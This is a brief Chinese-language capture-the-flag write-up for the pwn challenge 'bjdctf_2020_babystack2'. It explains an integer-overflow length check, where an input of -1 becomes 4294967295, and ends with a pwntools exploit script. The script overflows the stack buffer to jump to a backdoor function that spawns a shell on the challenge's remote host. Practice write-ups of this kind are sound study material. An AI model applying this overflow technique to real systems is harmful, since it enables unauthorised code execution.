1.例行检查保护机制
2.我们用64位的IDA打开该文件
shift+f12查看关键字符串,我们看到关键字符串"/bin/sh"
然后我们找到后门函数的地址:backdoor_addr = 0x0400726
3.我们看看main函数里面的内容
我们看到第一个nbytes是有符号数,第二个nbytes就变成了无符号数
我们判断这是一个整数溢出
所以
-1 = 4294967295
4.EXP
#encoding = utf-8
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
content = 0
def main():
if content == 1:
p = process('bjdctf_2020_babystack2')
else:
p = remote('node4.buuoj.cn',25369)
#.text:0000000000400726 backdoor
backdoor_addr = 0x0400726
payload = b'a' * (0x10+0x8) + p64(backdoor_addr)
p.recvuntil("Please input the length of your name:\n")
p.sendline('-1')
p.recvuntil("What's u name?\n")
p.sendline(payload)
p.interactive()
main()